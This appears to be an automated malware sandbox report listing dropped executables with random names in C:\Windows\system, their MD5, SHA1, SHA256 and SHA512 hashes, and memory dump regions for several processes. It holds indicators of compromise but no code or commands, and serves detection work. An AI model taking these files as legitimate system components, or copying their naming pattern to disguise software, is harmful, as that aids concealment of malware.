Download Submit
C:\Windows\system\fkOCKUI.exe

Filesize
1.3MB

MD5
3a79666184297b9817cd583621819338

SHA1
5d5940bcc15a7eb4e34e865f994333adfc2cd0b4

SHA256
31447ce298ebd1719f5e1bfc6975ce618d49136ad7b0e9aaab3c233c1b14bf28

SHA512
c05d1b8deca99772da4e0d94f1c6e4aa71fc66e25ce4a7b21ca76b8df99fcdc000f8bfd5e009a05e8a16193688f1a373a61878051747f2863de6541ee64d460e

Download Submit
C:\Windows\system\gSjeVbc.exe

Filesize
1.3MB

MD5
1a1f08bf326691782ff45f91ab61a9cd

SHA1
0ea504bd1d70eeda55b29d581f9b3be9a51f1cbe

SHA256
d4367c4a48d9866c75ef32bd6112ca6b294a5f01fc4437e4676417c6ebc29cec

SHA512
892b861735bc09145a62079bf71fa55f6080b5375fc16a671aefc3bca6760e5b2e8765715d13825317b882bbd16421b808239ce52659c5e2a978a61af97c835a

Download Submit
C:\Windows\system\gyysgGq.exe

Filesize
1.3MB

MD5
c5d5c17bdb71d30228aaabde84bdd70b

SHA1
a63d13d39b6f96256796b197bcdc80796a813a1a

SHA256
6bf9d0c764fdaabe2c970a2770c8279ed6f1e2e24cb2459b84f199ae9c9bc0c0

SHA512
09ac05f83285feb8cc157fa44c4c40208ef15d260516c077c730cdfadc9fc6b096525b19985b608fc2e44e6bf70f06a89eb84f3be3526c37bb0f4da4d9be6356

Download Submit
C:\Windows\system\qnTLuvF.exe

Filesize
1.3MB

MD5
d00cec579591a335e93a0b25c4d5cd36

SHA1
ac406fdc45fa2e9720dbb89d7843b98e2fa68b6e

SHA256
28a775b94b6dd833996d83289deb225540f8102d5e6c70333016b01c5af86595

SHA512
09a2f0b067829d1d71cfa9bd2a60b6865221908ab6408530e5f0438205c8d7ce7cc929f1dd2942805a8dc84724b5793a9f8df4e1981aaf90ba5351ebf3ca65f1

Download Submit
C:\Windows\system\qruUrXb.exe

Filesize
1.3MB

MD5
7cb460fcef2baced173877acb1be2984

SHA1
9b06acdc346bc29fde38c9d251ec8b2f74d80004

SHA256
51473a6f252a3b359c195ffd27a5628769386c00fa6ec5f0c1adb4ef86e4c9ec

SHA512
879bee1211bf487064a90f8381938962522a43c78ae2914b02014b4778521a6c17197dee67974e3788ff18519493c0211d59f1ce9d374c6bd4816735e7e32bcb

Download Submit
C:\Windows\system\rvwfBrJ.exe

Filesize
1.3MB

MD5
2cc7cfd237aa470989324b2ed859736c

SHA1
1287173145cd5f6445c23235d67457e2fef985b5

SHA256
976ec73bc4734c2b92523613820630bc23f2273fc886075b5f8886bbfa83920f

SHA512
0a0144d7c807a3a561b98b7c2e53cf17014800379e919d3897f7a8da07def5b27f72076b8da8026670e91c5602b3a50e410df28ab26a55a66e3bb56cb6454b1a

Download Submit
C:\Windows\system\tznFQoe.exe

Filesize
1.3MB

MD5
4fa5c65a4c332d8f3530a5df38e9be0c

SHA1
00390694433a1b8aaba743bbbb825cbc73d916ef

SHA256
d286edf3d596b2101bb8ebc09acc048ecebfd0d423e66cfcf0d7a6899a395bfd

SHA512
d2ed27aab46ed03c86847c530b0f0b0392c3ff6d769e9461debfff362411e96dad818faad282ccd790d2149629ceb4895ba349180e334c0b4a257fea4f2afede

Download Submit
C:\Windows\system\yucQawW.exe

Filesize
1.3MB

MD5
095d9b12f75af72045074a27be5e6393

SHA1
2de83ad36dce863e2604df7c44e6fe946754a575

SHA256
97f29b3314074aa941fa9b906bf9cc8c41ea8b4395adef07fe2c62861212293e

SHA512
b81dd1ba2a06a9f8054ba9a9a6378e41bb82ec0fccfa93b76323c7fc84b5cd51595251d37b97e66909c4c337fc0359f02c8c0d78a5538496057950afe659a44e

Download Submit
\Windows\system\CndyRtc.exe

Filesize
1.3MB

MD5
de3c5fbbd5f70f4ac40d1fc43202d714

SHA1
49c459af4a8428044dca45d5aa60b8759eb26294

SHA256
e3c5fa00cd908131261cea8f7650f32c70ecd39806d44557c1a822d9701f3530

SHA512
1342baa58a403685b0a368e09d0bfb4e68bb5a801bc70353aa980a095f12a808f8df86285ba25ca1e91c2e2cb199387aee78d7af2666ef4fb64160374164c515

Download Submit
\Windows\system\JYkoOsv.exe

Filesize
1.3MB

MD5
45178528fcd8a86713a38b27289d83d7

SHA1
f9ca8a0dd6fa93be9e6c09ff9cedea4cbeaba23a

SHA256
08c8ed9de650b4923b344fe4390560bfd4e4137032fbcd1a9500b15c8160c835

SHA512
c5147ed65339b2a6e39458b048a13d984ecc40d923686d29d132bddfb1cad63b373e22997cf281d253076ad486d00847e4c8d72984bbad239b3e5792e394f7fd

Download Submit
\Windows\system\MFrTpwH.exe

Filesize
1.3MB

MD5
cdd40fe4141e8f33bbbee33a0225f9a6

SHA1
a298db87145dfa5d6842b29ed51f84995b73e3d5

SHA256
613969d2c009d50d58f5bc3c8ec26f31445d8218333a6af4d866c3c950f682a8

SHA512
df8e156bdb658bcaa83044e5b4dbe70f4b463f1727e332770067205b939499da80756089b493d6986a9933f19a717a874ea8802189a76d8d97970305a30b6e4b

Download Submit
\Windows\system\MLjUBSG.exe

Filesize
1.3MB

MD5
2f2790098b6711ff49f383d792bed901

SHA1
7578372aa49aa1f404c0f00efa56081d679e46c8

SHA256
059fa12fc8dfd05f742eea0b746727dfef07ed75f4e0d8162120fd4daa3bb1ac

SHA512
245d7726a235af5bb19f17cbabd7e909e801ec90243db531a64805775eb0c1dcbb42cea273be6f19d5bb6b8e1388c9195753bdb3a205c65b4d9de83b7403ddfa

Download Submit
\Windows\system\WmyVJOY.exe

Filesize
1.3MB

MD5
5c26fc5e81b4fa4f97a76a827661e786

SHA1
a7e701ea511394c6657be293821b38fa8c48ff7b

SHA256
8f19bd3c7911afc17928a458ab4f3d24eb302eabab4889f7f088f0ddc4247f47

SHA512
2d847948c3e7670b18092166dad9e9a25133b882705d7cf3ec428dff6d1b5b1feaeb2b004863ad23ca65e76a925bcffb18886956a2f223b64d1ecf57f3f8da9e

Download Submit
\Windows\system\dUgPQBo.exe

Filesize
1.3MB

MD5
9505e6da34264451260500424c86c401

SHA1
998e21251e20c53a65869ce0504c84fd646ec8df

SHA256
d23dd24118110d70d7c8c4521942f8a0890812a8d99d457a5959a4a6d6072bf1

SHA512
8260bd4eb44977f574825b91cefdb3586df3b641371777c647c2854d13e682eb0b87054be23b2daddd9ff8b517a4c523179851973e65d4087676c1c02fda8eec

Download Submit
\Windows\system\ljngOCC.exe

Filesize
1.3MB

MD5
62582704dd372e1622f83c033b15b7d1

SHA1
277cb4bf62a198e49f3b5083628821168d9ea7fe

SHA256
d2194747b617412e4061bb2994776c0b94fa7aead8e6ae530da096d0d90874d8

SHA512
9a5c1cb2875bc4ad9f7019ab31f7c01df516ca8ea63252abeefc82ddf9d16a56f8950c3df9e06a340748fe2f17f326600ef99bc46acce3cac7afcbcf09d94382

Download Submit
\Windows\system\lohrlee.exe

Filesize
1.3MB

MD5
87259df53a943c69e2574343012cffa6

SHA1
cb563feb559817170cdcc2c89ddf74345be305f5

SHA256
740ce2f9fd9f0c496bbb5e09c1afa50085e9da2ab66415836bba8d6c3c1983ad

SHA512
4388f0e712ea7b45b2bffed46df05e6a5f2ce28d0af18b1f9a1ac717debb992e21df5ca608729c1a5e5dc0fb2cc05aaa8781c690182a1c4d129e95e28932336d

Download Submit
\Windows\system\uaetEOk.exe

Filesize
1.3MB

MD5
8d83ea9ddf09a7525854baa6026f34cb

SHA1
6ab9e022370aae70baf1a64cab4c633e76c76d34

SHA256
f751fd7ae5040e5e942d9894befe3036bfce629ae2ca00f41c5a980cd3eb34ed

SHA512
c16856a8c4a9d21746dcfba865a2a82b6bf6df20c996ddc0d3b9ee8dc7eb894ba67a880d8e1407a853e2006038e8b17f464f8a2697620a33acd3771f69ad0614

Download Submit
\Windows\system\xhbHFfo.exe

Filesize
1.3MB

MD5
9ac76e60a1afa9ed5357d0003209046a

SHA1
630a59f4820ff6d04af4b48659b4333fc5d3c26d

SHA256
7349f5b34752724cec44e71ac1b2aaea5dd48aff430883a240a9d935b2dce95d

SHA512
47a0fffe8f6f0f30cd3947d63285debaee42db523d895f8f4a32bcebb9b76946665323f84567e67db33560af91b3360ea9c026a78a27b3b4b91feab0011f99d8

Download Submit
memory/1948-97-0x000000013FE10000-0x0000000140202000-memory.dmp

Filesize
3.9MB

Download
memory/2260-3677-0x000000013F1E0000-0x000000013F5D2000-memory.dmp

Filesize
3.9MB

Download
memory/2260-13-0x000000013F1E0000-0x000000013F5D2000-memory.dmp

Filesize
3.9MB

Download
memory/2324-74-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-70-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-53-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2324-15-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/2324-14-0x0000000002CF0000-0x0000000002D70000-memory.dmp

Filesize
512KB

Download
memory/2324-46-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2324-52-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2324-136-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2364-92-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-59-0x000000013FB30000-0x000000013FF22000-memory.dmp

Filesize
3.9MB

Download
memory/2364-6084-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-71-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-75-0x0000000002FA0000-0x0000000003392000-memory.dmp

Filesize
3.9MB

Download
memory/2364-76-0x000000013F750000-0x000000013FB42000-memory.dmp

Filesize
3.9MB

Download
memory/2364-12-0x0000000002FA0000-0x0000000003392000-memory.dmp

Filesize
3.9MB

Download
memory/2364-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/2364-841-0x000000013F100000-0x000000013F4F2000-memory.dmp

Filesize
3.9MB

Download
memory/2364-2-0x000000013F100000-0x000000013F4F2000-memory.dmp

Filesize
3.9MB

Download
memory/2364-847-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-67-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-55-0x000000013F5D0000-0x000000013F9C2000-memory.dmp

Filesize
3.9MB

Download
memory/2364-57-0x000000013FC80000-0x0000000140072000-memory.dmp

Filesize
3.9MB

Download
memory/2364-975-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-61-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2364-95-0x000000013FE10000-0x0000000140202000-memory.dmp

Filesize
3.9MB

Download
memory/2364-80-0x00000000035A0000-0x0000000003992000-memory.dmp

Filesize
3.9MB

Download
memory/2536-68-0x000000013F060000-0x000000013F452000-memory.dmp

Filesize
3.9MB

Download
memory/2536-3675-0x000000013F060000-0x000000013F452000-memory.dmp

Filesize
3.9MB

Download
memory/2632-93-0x000000013F180000-0x000000013F572000-memory.dmp

Filesize
3.9MB

Download
memory/2632-3718-0x000000013F180000-0x000000013F572000-memory.dmp

Filesize
3.9MB

Download
memory/2668-3672-0x000000013F180000-0x000000013F572000-memory.dmp

Filesize
3.9MB

Download
memory/2668-54-0x000000013F180000-0x000000013F572000-memory.dmp

Filesize
3.9MB

Download
memory/2708-60-0x000000013FB30000-0x000000013FF22000-memory.dmp

Filesize
3.9MB

Download
memory/2708-3678-0x000000013FB30000-0x000000013FF22000-memory.dmp

Filesize
3.9MB

Download
memory/2776-62-0x000000013F090000-0x000000013F482000-memory.dmp

Filesize
3.9MB

Download
memory/2776-3673-0x000000013F090000-0x000000013F482000-memory.dmp

Filesize
3.9MB

Download
memory/2784-82-0x000000013F2B0000-0x000000013F6A2000-memory.dmp

Filesize
3.9MB

Download
memory/2784-3679-0x000000013F2B0000-0x000000013F6A2000-memory.dmp

Filesize
3.9MB

Download
memory/2828-3683-0x000000013F5D0000-0x000000013F9C2000-memory.dmp

Filesize
3.9MB

Download
memory/2828-56-0x000000013F5D0000-0x000000013F9C2000-memory.dmp

Filesize
3.9MB

Download
memory/3032-73-0x000000013F750000-0x000000013FB42000-memory.dmp

Filesize
3.9MB

Download
memory/3032-3688-0x000000013F750000-0x000000013FB42000-memory.dmp

Filesize
3.9MB

Download
memory/3036-3674-0x000000013F4C0000-0x000000013F8B2000-memory.dmp

Filesize
3.9MB

Download
memory/3036-72-0x000000013F4C0000-0x000000013F8B2000-memory.dmp

Filesize
3.9MB

Download
memory/3052-3671-0x000000013FC80000-0x0000000140072000-memory.dmp

Filesize
3.9MB

Download
memory/3052-58-0x000000013FC80000-0x0000000140072000-memory.dmp

Filesize
3.9MB

Download